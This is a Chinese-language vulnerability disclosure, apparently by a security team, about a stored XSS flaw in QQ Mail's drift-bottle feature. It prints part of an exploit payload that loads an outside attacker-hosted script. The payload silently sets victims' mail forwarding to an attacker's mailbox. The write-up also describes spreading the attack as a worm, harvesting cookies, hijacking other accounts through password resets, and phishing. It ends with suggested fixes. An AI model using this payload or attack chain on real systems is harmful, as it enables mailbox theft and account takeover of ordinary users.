一只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。
 
试想:
 
1. 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?
2. 如果用这个东西做一个主动扩散的蠕虫,哇咔咔,一夜春风来,花落知多少啊,知多少......会有多少邮箱被设置转发到俺邮箱啦!!!
 
同时,在PKAV小组官网上,也对相关细节进行了描述,具体见:

(为了避免利用代码对厂商造成的危害,现在对此文进行了加密操作,厂商对漏洞修复后,将进行公开)
详细说明:1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。
 
具体测试过程:
 
1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。
1.2 定位到发送的漂流上,F12打开调试工具看代码。
 
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
1.3 同时查看抓包的代码,可以看到相同内容。
 
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
1.5 说明这里对反斜线的过滤存在问题。
 
1.6 进一步构造我们的利用代码。下面仅贴出部分源码。
 
请求时的利用代码
 
 
var serv="恶意外部JS文件所在服务器";
       var mail2rec="接受转发的邮箱";
       var mailUin="发送恶意漂流瓶的Hacker QQ";
       var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";
 
进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码
 
 
@see
 
代码中,所用到的pkav Object 见 (from )
 
2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。
 
邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。
 
 
 
 
 
5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
 
6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。
 
7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
那么我们如果利用百度的密码找回功能。
 
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。
 

漂流瓶:飘来的可能是局长,也可能是XSS


 
 
 
10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。
 
11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。
 
12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。
 
13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

修复方法:
 
1. 修复当前XSS问题,但不能保证漂流瓶的其它功能是否存在类似问题。
 
2. 架构有问题,建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!
 
3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!